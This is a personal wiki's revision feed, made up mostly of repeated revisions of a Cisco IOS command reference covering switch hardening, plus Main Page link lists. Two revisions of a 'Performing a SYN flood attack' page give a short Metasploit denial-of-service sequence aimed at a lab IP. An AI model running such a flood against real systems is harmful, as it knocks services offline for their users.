=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
<pre><br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
</pre><br />
<br />
=== Enable Interface ===<br />
<pre><br />
no shutdown<br />
</pre><br />
<br />
=== Assign IPv4 Address ===<br />
<pre><br />
ip address 192.168.0.1 255.255.255.0<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
<pre><br />
switchport mode access<br />
switchport access vlan 10<br />
</pre><br />
<br />
=== Trunk Port ===<br />
<pre><br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
</pre><br />
<br />
=== Trunk VLAN Settings ===<br />
<pre><br />
switchport trunk allowed vlan 10,20,33,99<br />
switchport trunk native vlan 99<br />
</pre><br />
<br />
----<br />
<br />
== IPv6 Interface Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
<pre><br />
ipv6 nd other-config-flag<br />
no ipv6 nd other-config-flag<br />
</pre><br />
````Description:````<br />
The `ipv6 nd other-config-flag` command sets the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address. <br />
- Disabling it (`no ipv6 nd other-config-flag`) stops advertising this flag in ND messages.<br />
<br />
----<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled.<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches or routers.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding attacks.<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15<br />
<br />
=== Verify DAI status ===<br />
<br />
show ip arp inspection<br />
show ip arp inspection vlan<br />
show ip arp inspection interfaces<br />
<br />
=== Disable DAI ===<br />
<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table<br />
* Only trusted ports can send unlimited ARP replies<br />
* Access ports should remain untrusted<br />
* Commonly deployed with '''PortFast + BPDU Guard'''<br />
<br />
== Port Security ==<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1069
Cisco Commands
2026-02-04T22:13:02Z
<p>50.220.241.211: /* IPv6 Interface Configuration */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== System & Routing Basics ==<br />
<br />
=== Enable IPv4 Routing (Layer 3 Switches) ===<br />
<pre><br />
ip routing<br />
</pre><br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<pre><br />
ipv6 unicast-routing<br />
</pre><br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
=== Routing Table ===<br />
<pre><br />
show ip route<br />
</pre><br />
<br />
----<br />
<br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
<pre><br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
</pre><br />
<br />
=== Enable Interface ===<br />
<pre><br />
no shutdown<br />
</pre><br />
<br />
=== Assign IPv4 Address ===<br />
<pre><br />
ip address 192.168.0.1 255.255.255.0<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
<pre><br />
switchport mode access<br />
switchport access vlan 10<br />
</pre><br />
<br />
=== Trunk Port ===<br />
<pre><br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
</pre><br />
<br />
=== Trunk VLAN Settings ===<br />
<pre><br />
switchport trunk allowed vlan 10,20,33,99<br />
switchport trunk native vlan 99<br />
</pre><br />
<br />
----<br />
<br />
== IPv6 Interface Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
<pre><br />
ipv6 nd other-config-flag<br />
no ipv6 nd other-config-flag<br />
</pre><br />
**Description:** <br />
The `ipv6 nd other-config-flag` command sets the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address. <br />
- Disabling it (`no ipv6 nd other-config-flag`) stops advertising this flag in ND messages.<br />
<br />
----<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled.<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches or routers.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding attacks.<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15<br />
<br />
=== Verify DAI status ===<br />
<br />
show ip arp inspection<br />
show ip arp inspection vlan<br />
show ip arp inspection interfaces<br />
<br />
=== Disable DAI ===<br />
<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table<br />
* Only trusted ports can send unlimited ARP replies<br />
* Access ports should remain untrusted<br />
* Commonly deployed with '''PortFast + BPDU Guard'''<br />
<br />
== Port Security ==<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Performing_a_SYN_flood_attack&diff=1047
Performing a SYN flood attack
2026-02-02T21:59:16Z
<p>50.220.241.211: </p>
<hr />
<div>From Kali Linux:<br />
<br />
Open <code>msf-console</code>: <br />
use auxiliary/dos/tcp/synflood<br />
show options<br />
set INTERFACE virbr0<br />
set RHOST 192.168.122.7<br />
exploit</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Performing_a_SYN_flood_attack&diff=1046
Performing a SYN flood attack
2026-02-02T21:59:07Z
<p>50.220.241.211: Created page with "From Kali Linux: Open msf-console: use auxiliary/dos/tcp/synflood show options set INTERFACE virbr0 set RHOST 192.168.122.7 exploit"</p>
<hr />
<div>From Kali Linux:<br />
<br />
Open msf-console: <br />
use auxiliary/dos/tcp/synflood<br />
show options<br />
set INTERFACE virbr0<br />
set RHOST 192.168.122.7<br />
exploit</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Main_Page&diff=1045
Main Page
2026-02-02T21:58:48Z
<p>50.220.241.211: </p>
<hr />
<div><strong>Welcome to Lucca's Knowledgebase</strong><br />
<hr><br />
<br />
Windows: |<br />
[[Commands]] | [[Win+R Shortcuts]] | [[Windows Keyboard Shortcuts]] | [[Remote Desktop Setup]] | [[End of Life]] | [[Make CMD Open Faster on Windows 11]] | [[Hyper-V on Windows Home]] | [[Domain Setup from Scratch on Server Core]] | [[Example User onboarding & offboarding Scripts for 365]] | [[Keyboard Navigation Scripts]] | [[Registry Tweaks/Fixes]]<br />
<br />
<hr><br />
<br />
Linux: | [[Distro Download Links]] | [[Linux Commands|Commands]] | [[Docker-Compose]] | [[Bashrc/Zshrc Setup]] | [https://arachnoid.com/SecureShell/index.html Arachnoid.com: How to use SSH] [https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes/wiki-files/How%20to%20Use%20Secure%20Shell.pdf pdf] | [[Libvirt Setup]] | [[VFIO GPU Passthrough Setup]] | [[VFIO Anti-Cheat Bypass Tools]] | [[Xubuntu Mac Conversion Guide]] | [[Ungoogled Chromium Debian]] | [[Docker Installation on Debian]] | [[Infared Reciever w/ Alpine on the Bulldozer Datto]] | [[Numpad hotkeys on linux]] | [[Split a monitor in two]] | [[Make a udev rule]] | [[Type Unicode Characters]] | [[Screen Recording Options]] | [[Microsoft Authenticator]] | [https://www.debugpoint.com/kvm-share-folder-windows-guest/ Setup A Share Folder between a Linux host and Windows Guest] [https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes/wiki-files/Share%20Folder%20Between%20Windows%20Guest%20and%20Linux%20Host%20in%20KVM%20using%20virtiofs.pdf pdf] | [[Perform actions based on notification content]]<br />
<br />
<hr><br />
<br />
Pentesting: [[Performing a SYN flood attack]]<br />
<br />
<hr><br />
<br />
MacOS: | [[OSX Commands]]<br />
<br />
<hr><br />
<br />
Javascript: | [[VM Userscript to disable website right-click and copy-blocking]]<br />
<br />
<hr><br />
<br />
Python: | [[Math Operators]] | [[Python Examples|Examples]]<br />
<br />
<hr><br />
<br />
Cisco: | [[Cisco Commands|Commands]] | [[Cisco Keyboard Shortcuts|Keyboard Shortcuts]] | [[Example configuration files]] | [[Ethernet: Straight-through VS Crossover Cable]] | [https://en.wikipedia.org/wiki/Path_MTU_Discovery Path MTU Discovery] | [[ipv6]] | [[802.1q]] (Vlan Tagging) |<br />
<br />
<hr><br />
<br />
Robotics: | [[Nao Robot]]<br />
<br />
<hr><br />
<br />
Retro Tech: |<br />
[[Analog Video Articles]] | [[Modeline Generators]] | [https://github.com/antonioginer/ATOM-15 ATOM-15: AMD/ATI Card 15khz bios] | [https://luigiblood.tumblr.com/post/711882982704726016/everything-datamined-about-gba-nso-so-far Deep Dive into Nintendo Switch NSO GBA Link Cable Emulation] [https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes/wiki-files/Yakumono's%20Blog_%20Everything%20datamined%20about%20GB_A%20NSO%20so%20far..pdf pdf]<br />
<br />
<hr><br />
<br />
Digital Archives: |<br />
[https://archive.org archive.org] | [https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes kirb.feels archive] [https://en.wikipedia.org/wiki/Library_Genesis Library Genesis]<br />
<br />
<hr><br />
<br />
Open Source Intelligence: | <br />
[https://osintframework.com/ OsINT Framework] | [https://www.usphonebook.com/ USPhoneBook]<br />
<br />
<hr><br />
<br />
[https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/YdGUYXws5mD2fxFKxg.webp ☕Happy Monday =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/giphy.webp ☕Bom Dia =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/tenor.gif ☕??????]<br />
<br />
<hr></div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Main_Page&diff=1044
Main Page
2026-02-02T21:58:34Z
<p>50.220.241.211: </p>
<hr />
<div><strong>Welcome to Lucca's Knowledgebase</strong><br />
<hr><br />
<br />
Windows: |<br />
[[Commands]] | [[Win+R Shortcuts]] | [[Windows Keyboard Shortcuts]] | [[Remote Desktop Setup]] | [[End of Life]] | [[Make CMD Open Faster on Windows 11]] | [[Hyper-V on Windows Home]] | [[Domain Setup from Scratch on Server Core]] | [[Example User onboarding & offboarding Scripts for 365]] | [[Keyboard Navigation Scripts]] | [[Registry Tweaks/Fixes]]<br />
<br />
<hr><br />
<br />
Linux: | [[Distro Download Links]] | [[Linux Commands|Commands]] | [[Docker-Compose]] | [[Bashrc/Zshrc Setup]] | [https://arachnoid.com/SecureShell/index.html Arachnoid.com: How to use SSH] [https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes/wiki-files/How%20to%20Use%20Secure%20Shell.pdf pdf] | [[Libvirt Setup]] | [[VFIO GPU Passthrough Setup]] | [[VFIO Anti-Cheat Bypass Tools]] | [[Xubuntu Mac Conversion Guide]] | [[Ungoogled Chromium Debian]] | [[Docker Installation on Debian]] | [[Infared Reciever w/ Alpine on the Bulldozer Datto]] | [[Numpad hotkeys on linux]] | [[Split a monitor in two]] | [[Make a udev rule]] | [[Type Unicode Characters]] | [[Screen Recording Options]] | [[Microsoft Authenticator]] | [https://www.debugpoint.com/kvm-share-folder-windows-guest/ Setup A Share Folder between a Linux host and Windows Guest] [https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes/wiki-files/Share%20Folder%20Between%20Windows%20Guest%20and%20Linux%20Host%20in%20KVM%20using%20virtiofs.pdf pdf] | [[Perform actions based on notification content]]<br />
<br />
<hr><br />
<br />
Pentesting<br />
<br />
[[Performing a SYN flood attack]]<br />
<br />
<hr><br />
<br />
MacOS: | [[OSX Commands]]<br />
<br />
<hr><br />
<br />
Javascript: | [[VM Userscript to disable website right-click and copy-blocking]]<br />
<br />
<hr><br />
<br />
Python: | [[Math Operators]] | [[Python Examples|Examples]]<br />
<br />
<hr><br />
<br />
Cisco: | [[Cisco Commands|Commands]] | [[Cisco Keyboard Shortcuts|Keyboard Shortcuts]] | [[Example configuration files]] | [[Ethernet: Straight-through VS Crossover Cable]] | [https://en.wikipedia.org/wiki/Path_MTU_Discovery Path MTU Discovery] | [[ipv6]] | [[802.1q]] (Vlan Tagging) |<br />
<br />
<hr><br />
<br />
Robotics: | [[Nao Robot]]<br />
<br />
<hr><br />
<br />
Retro Tech: |<br />
[[Analog Video Articles]] | [[Modeline Generators]] | [https://github.com/antonioginer/ATOM-15 ATOM-15: AMD/ATI Card 15khz bios] | [https://luigiblood.tumblr.com/post/711882982704726016/everything-datamined-about-gba-nso-so-far Deep Dive into Nintendo Switch NSO GBA Link Cable Emulation] [https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes/wiki-files/Yakumono's%20Blog_%20Everything%20datamined%20about%20GB_A%20NSO%20so%20far..pdf pdf]<br />
<br />
<hr><br />
<br />
Digital Archives: |<br />
[https://archive.org archive.org] | [https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes kirb.feels archive] [https://en.wikipedia.org/wiki/Library_Genesis Library Genesis]<br />
<br />
<hr><br />
<br />
Open Source Intelligence: | <br />
[https://osintframework.com/ OsINT Framework] | [https://www.usphonebook.com/ USPhoneBook]<br />
<br />
<hr><br />
<br />
[https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/YdGUYXws5mD2fxFKxg.webp ☕Happy Monday =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/giphy.webp ☕Bom Dia =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/tenor.gif ☕??????]<br />
<br />
<hr></div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1043
Cisco Commands
2026-01-15T21:53:23Z
<p>50.220.241.211: /* Interface & Network Status */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== System & Routing Basics ==<br />
<br />
=== Enable IPv4 Routing (Layer 3 Switches) ===<br />
<pre><br />
ip routing<br />
</pre><br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<pre><br />
ipv6 unicast-routing<br />
</pre><br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
